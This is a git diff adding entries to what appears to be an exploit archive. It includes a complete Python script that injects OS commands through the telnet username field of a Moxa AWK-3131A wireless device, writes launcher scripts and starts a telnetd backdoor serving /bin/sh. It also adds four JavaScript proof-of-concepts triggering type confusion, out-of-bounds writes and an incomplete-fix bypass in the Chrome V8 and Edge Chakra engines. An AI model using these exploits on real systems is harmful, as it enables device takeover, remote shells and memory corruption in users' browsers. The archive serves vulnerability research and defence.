diff --git a/exploits/hardware/remote/44398.py b/exploits/hardware/remote/44398.py new file mode 100755 index 000000000..b354f0b84 --- /dev/null +++ b/exploits/hardware/remote/44398.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python2 +import telnetlib +import re +import random +import string + + +# Split string into chunks, of which each is <= length +def chunkstring(s, length): + return (s[0+i:length+i] for i in range(0, len(s), length)) + +# Split strings based on MAX_LEN. Encode any newlines and/or spaces. +def split_script(script): + MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1 + completed = [] + temp = re.split('(\n)', script) + for content in temp: + if len(content) != 0: + for s in re.split('( )', content): + if ' ' in s: + s = '\\x20' + if '\n' in s: + s = ['\\n'] + else: + s = list(chunkstring(s, MAX_LEN)) + completed.append(s) + + return [item for sublist in completed for item in sublist] # Flatten nested list items + +# Execute each command via the username parameter +def do_cmd(host, command): + tn = telnetlib.Telnet(host) + modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS} + tn.read_until("login: ") + tn.write("`%s`\n" % modCommand) + print "Sent command: %s\n modified: %s\n size: %d" % (command, modCommand, len(modCommand)) + tn.read_until("Password: ") + tn.write(" " + "\n") + tn.read_until("incorrect") + tn.close() + +# Write script to writable directory on host +def write_script(host, script, t_dir, t_name): + print "[*] Writing shell script to host..." + i = 0 + for token in split_script(script): + carat = '>' if i == 0 else '>>' + do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name)) + i+=1 + + do_cmd(host, 'chmod +x %s/%s' % (t_dir,t_name)) + print "[*] Script written to: %s/%s\n" % (t_dir,t_name) + +# Attempt to connect to newly-created backdoor +def backdoor_connect(host,port): + print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port) + tn = telnetlib.Telnet(host, port) + tn.interact() + +def main(): + host = "192.168.127.253" + port = random.randint(2048,4096) + + w_dir = '/var' # writable directory + s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher + t_name = s_name.lower() # telnetd launcher + + # Need a shell launcher script to launch /bin/sh because + # telnetd adds a '-h' option to the login command + shell_launcher = "#!/bin/sh\nexec sh" + + # Launch telnetd with the launcher script as the login + # command to execute + telnetd_launcher = "#!/bin/sh\ntelnetd -p%d -l%s/%s" % (port, w_dir,s_name) + + write_script(host, shell_launcher, w_dir, s_name) + write_script(host, telnetd_launcher, w_dir, t_name) + + # Execute telnetd script and attempt to connect + do_cmd(host, '.%s/%s' % (w_dir,t_name)) + backdoor_connect(host, port) + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/exploits/multiple/dos/44394.js b/exploits/multiple/dos/44394.js new file mode 100644 index 000000000..bc24642fd --- /dev/null +++ b/exploits/multiple/dos/44394.js @@ -0,0 +1,53 @@ +/* +Here's a snippet of the method. +https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=3cbf26e8a21aa76703d2c3c51adb9c96119500da&l=1051 + + static Maybe CollectValuesOrEntriesImpl( + Isolate* isolate, Handle object, + Handle values_or_entries, bool get_entries, int* nof_items, + PropertyFilter filter) { + ... + for (int i = 0; i < keys->length(); ++i) { + Handle key(keys->get(i), isolate); + Handle value; + uint32_t index; + if (!key->ToUint32(&index)) continue; + uint32_t entry = Subclass::GetEntryForIndexImpl( + isolate, *object, object->elements(), index, filter); + if (entry == kMaxUInt32) continue; + + PropertyDetails details = Subclass::GetDetailsImpl(*object, entry); + + if (details.kind() == kData) { + value = Subclass::GetImpl(isolate, object->elements(), entry); + } else { + LookupIterator it(isolate, object, index, LookupIterator::OWN); + ASSIGN_RETURN_ON_EXCEPTION_VALUE( + isolate, value, Object::GetProperty(&it), Nothing()); <<------- (a) + } + if (get_entries) { + value = MakeEntryPair(isolate, index, value); + } + values_or_entries->set(count++, *value); + } + + *nof_items = count; + return Just(true); + } + +At (a), the elements kind can be changed by getters. This will lead to type confusion in GetEntryForIndexImpl. + +PoC: +*/ + +let arr = []; +arr[1000] = 0x1234; + +arr.__defineGetter__(256, function () { + delete arr[256]; + + arr.unshift(1.1); + arr.length = 0; +}); + +Object.entries(arr).toString(); \ No newline at end of file diff --git a/exploits/multiple/dos/44395.js b/exploits/multiple/dos/44395.js new file mode 100644 index 000000000..d5c8c0620 --- /dev/null +++ b/exploits/multiple/dos/44395.js @@ -0,0 +1,143 @@ +/* +Bug: +The Genesis::InitializeGlobal method initializes the constructor of RegExp as follows: + // Builtin functions for RegExp.prototype. + Handle regexp_fun = InstallFunction( + global, "RegExp", JS_REGEXP_TYPE, + JSRegExp::kSize + JSRegExp::kInObjectFieldCount * kPointerSize, + JSRegExp::kInObjectFieldCount, factory->the_hole_value(), + Builtins::kRegExpConstructor); + InstallWithIntrinsicDefaultProto(isolate, regexp_fun, + Context::REGEXP_FUNCTION_INDEX); + + Handle shared(regexp_fun->shared(), isolate); + shared->SetConstructStub(*BUILTIN_CODE(isolate, JSBuiltinsConstructStub)); + shared->set_instance_class_name(isolate->heap()->RegExp_string()); + shared->set_internal_formal_parameter_count(2); + shared->set_length(2); + + ... + +I think "shared->expected_nof_properties()" should be the same as JSRegExp::kInObjectFieldCount. But it doesn't set "expected_nof_properties", it remains 0. + +There are other constructors that don't set "expected_nof_properties", but RegExp was the only useable constructor to exploit. + +Exploit: +This can affect JSFunction::GetDerivedMap, which is used to create or get a Map object for the given constructor and "new.target", to incorrectly compute the number of in-object properties. + +Here's a snippet of the method. +(https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=0c287882ea233f299a91f6b72b56d8faaecf52c0&l=12966) + +MaybeHandle JSFunction::GetDerivedMap(Isolate* isolate, + Handle constructor, + Handle new_target) { + ... + // Fast case, new.target is a subclass of constructor. The map is cacheable + // (and may already have been cached). new.target.prototype is guaranteed to + // be a JSReceiver. + if (new_target->IsJSFunction()) { + Handle function = Handle::cast(new_target); + ... + + // Create a new map with the size and number of in-object properties + // suggested by |function|. + + // Link initial map and constructor function if the new.target is actually a + // subclass constructor. + if (IsDerivedConstructor(function->shared()->kind())) { + Handle prototype(function->instance_prototype(), isolate); + InstanceType instance_type = constructor_initial_map->instance_type(); + DCHECK(CanSubclassHaveInobjectProperties(instance_type)); + int embedder_fields = + JSObject::GetEmbedderFieldCount(*constructor_initial_map); + int pre_allocated = constructor_initial_map->GetInObjectProperties() - + constructor_initial_map->UnusedPropertyFields(); + int instance_size; + int in_object_properties; + CalculateInstanceSizeForDerivedClass(function, instance_type, + embedder_fields, &instance_size, + &in_object_properties); + + int unused_property_fields = in_object_properties - pre_allocated; + Handle map = + Map::CopyInitialMap(constructor_initial_map, instance_size, + in_object_properties, unused_property_fields); + ... + return map; + } + } + +"unused_property_fields" is obtained by subtracting "pre_allocated" from "in_object_properties". And "in_object_properties" is obtained by adding the number of properties of "new_target" and its all super constructors using CalculateInstanceSizeForDerivedClass. + +Here's CalculateInstanceSizeForDerivedClass. + +void JSFunction::CalculateInstanceSizeForDerivedClass( + Handle function, InstanceType instance_type, + int requested_embedder_fields, int* instance_size, + int* in_object_properties) { + Isolate* isolate = function->GetIsolate(); + int expected_nof_properties = 0; + for (PrototypeIterator iter(isolate, function, kStartAtReceiver); + !iter.IsAtEnd(); iter.Advance()) { + Handle current = + PrototypeIterator::GetCurrent(iter); + if (!current->IsJSFunction()) break; + Handle func(Handle::cast(current)); + // The super constructor should be compiled for the number of expected + // properties to be available. + Handle shared(func->shared()); + if (shared->is_compiled() || + Compiler::Compile(func, Compiler::CLEAR_EXCEPTION)) { + DCHECK(shared->is_compiled()); + expected_nof_properties += shared->expected_nof_properties(); + } + if (!IsDerivedConstructor(shared->kind())) { + break; + } + } + CalculateInstanceSizeHelper(instance_type, true, requested_embedder_fields, + expected_nof_properties, instance_size, + in_object_properties); +} + +It iterates over all the super constructors, and sums each constructor's "expected_nof_properties()". + +If it fails to compile the constructor using Compiler::Compile due to somthing like a syntax error, it just clears the exception, and skips to the next iteration (Should this also count as a bug?). + +So using these, we can make "pre_allocated" higher than "in_object_properties" which may lead to OOB reads/writes. + +PoC: +*/ + +function gc() { + for (let i = 0; i < 20; i++) + new ArrayBuffer(0x2000000); +} + +class Derived extends RegExp { + constructor(a) { + const a = 1; // syntax error, Derived->expected_nof_properties() skipped + } +} + +let o = Reflect.construct(RegExp, [], Derived); +o.lastIndex = 0x1234; // OOB write + +gc(); + +/* + int pre_allocated = constructor_initial_map->GetInObjectProperties() - // 1 + constructor_initial_map->UnusedPropertyFields(); // 0 + int instance_size; + int in_object_properties; + CalculateInstanceSizeForDerivedClass(function, instance_type, + embedder_fields, &instance_size, + &in_object_properties); + + // in_object_properties == 0, pre_allocated == 1 + int unused_property_fields = in_object_properties - pre_allocated; + + +Another bug? +There's a comment saying "Fast case, new.target is a subclass of constructor." in the JSFunction::GetDerivedMap method, but it doesn't check that "new_target" is actually a subclass of "constructor". So if "new_target" is not a subclass of "constructor", "pre_allocated" can be higher than "in_object_properties". To exploit this, it required to be able to change the value of "constructor_initial_map->UnusedPropertyFields()", but I couldn't find any way. So I'm not so sure about this part. +*/ \ No newline at end of file diff --git a/exploits/windows/dos/44396.js b/exploits/windows/dos/44396.js new file mode 100644 index 000000000..89fbea763 --- /dev/null +++ b/exploits/windows/dos/44396.js @@ -0,0 +1,73 @@ +/* +Here's a snippet of JavascriptArray::BoxStackInstance. To fix issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix. + + template + T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) + { + Assert(ThreadContext::IsOnStack(instance)); + // On the stack, the we reserved a pointer before the object as to store the boxed value + T ** boxedInstanceRef = ((T **)instance) - 1; + T * boxedInstance = *boxedInstanceRef; + if (boxedInstance) + { + return boxedInstance; + } + + const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); + if (ThreadContext::IsOnStack(instance->head)) + { + boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), + inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), + T, instance, true, deepCopy); + } + else if(inlineSlotsSize) + { + boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); + } + else + { + boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); + } + + *boxedInstanceRef = boxedInstance; + return boxedInstance; + } + +PoC: +*/ + +function inlinee() { + return inlinee.arguments[0]; +} + +function opt(convert_to_var_array) { + /* + To make the in-place type conversion happen, it requires to segment. + */ + + let stack_arr = []; + + // Allocate stack_ar->head to the heap + stack_arr[20] = 1.1; + + stack_arr[10000] = 1.1; + stack_arr[20000] = 2.2; + + let heap_arr = inlinee(stack_arr); + convert_to_var_array(heap_arr); + + stack_arr[10000] = 2.3023e-320; + + return heap_arr[10000]; +} + +function main() { + for (let i = 0; i < 10000; i++) + opt(new Function('')); // Prevents to be inlined + + print(opt(heap_arr => { + heap_arr[10000] = {}; // ConvertToVarArray + })); +} + +main(); \ No newline at end of file diff --git a/exploits/windows/dos/44397.js b/exploits/windows/dos/44397.js new file mode 100644 index 000000000..936ae8ac5 --- /dev/null +++ b/exploits/windows/dos/44397.js @@ -0,0 +1,102 @@ +/* +Here's a snippet of JavascriptArray::BoxStackInstance. + template + T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) + { + Assert(ThreadContext::IsOnStack(instance)); + // On the stack, the we reserved a pointer before the object as to store the boxed value + T ** boxedInstanceRef = ((T **)instance) - 1; + T * boxedInstance = *boxedInstanceRef; + if (boxedInstance) + { + return boxedInstance; + } + + const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); + if (ThreadContext::IsOnStack(instance->head)) + { + boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), + inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), + T, instance, true, deepCopy); + } + else if(inlineSlotsSize) + { + boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); + } + else + { + boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); + } + + *boxedInstanceRef = boxedInstance; + return boxedInstance; + } + +The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef". + +My idea for bypassing the fix was: +1. In any way, invoke the method with "deepCopy" set to false. +2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array. + +And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false. + +Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()": +#0 Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0) + at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801 +#1 0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1) + at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364 +#2 0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353 +#3 0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273 +#4 0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82 +#5 0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1) + at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168 +#6 0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, + callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0) + at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955 +#7 0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff, + returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883 +#8 0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030) + at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74 +#9 0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127 + + +I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC. + +PoC: +*/ + +// To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default. + +function inlinee() { + new Error(); + return inlinee.arguments[0]; +} + +function opt(convert_to_var_array) { + /* + To make the in-place type conversion happen, it requires to segment. + */ + + let stack_arr = []; // JavascriptNativeFloatArray + stack_arr[10000] = 1.1; + stack_arr[20000] = 2.2; + + let heap_arr = inlinee(stack_arr); + convert_to_var_array(heap_arr); + + stack_arr[10000] = 2.3023e-320; + + return heap_arr[10000]; +} + +function main() { + for (let i = 0; i < 10000; i++) { + opt(new Function('')); // Prevents to be inlined + } + + print(opt(heap_arr => { + heap_arr[10000] = {}; // ConvertToVarArray + })); +} + +main(); \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 6091a6dfd..edcec4afe 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -5917,6 +5917,10 @@ id,file,description,date,author,type,platform,port 44338,exploits/windows/dos/44338.py,"Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service",2018-03-23,"Hashim Jawad",dos,windows, 44372,exploits/windows/dos/44372.py,"SysGauge 4.5.18 - Local Denial of Service",2018-03-30,"Hashim Jawad",dos,windows, 44375,exploits/xml/dos/44375.py,"Systematic SitAware - NVG Denial of Service",2018-03-30,2u53,dos,xml, +44394,exploits/multiple/dos/44394.js,"Google Chrome V8 - 'ElementsAccessorBase::CollectValuesOrEntriesImpl' Type Confusion",2018-04-03,"Google Security Research",dos,multiple, +44395,exploits/multiple/dos/44395.js,"Google Chrome V8 - 'Genesis::InitializeGlobal' Out-of-Bounds Read/Write",2018-04-03,"Google Security Research",dos,multiple, +44396,exploits/windows/dos/44396.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix)",2018-04-03,"Google Security Research",dos,windows, +44397,exploits/windows/dos/44397.js,"Microsoft Edge Chakra JIT - Stack-to-Heap Copy (Incomplete Fix 2)",2018-04-03,"Google Security Research",dos,windows, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -16371,6 +16375,7 @@ id,file,description,date,author,type,platform,port 44356,exploits/windows/remote/44356.rb,"GitStack - Unsanitized Argument Remote Code Execution (Metasploit)",2018-03-29,Metasploit,remote,windows, 44357,exploits/windows/remote/44357.rb,"Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit)",2018-03-29,Metasploit,remote,windows, 44376,exploits/windows/remote/44376.py,"Advantech WebAccess < 8.1 - webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow",2018-03-30,"Chris Lyne",remote,windows,4592 +44398,exploits/hardware/remote/44398.py,"Moxa AWK-3131A 1.4 < 1.7 - 'Username' OS Command Injection",2017-04-03,Talos,remote,hardware, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,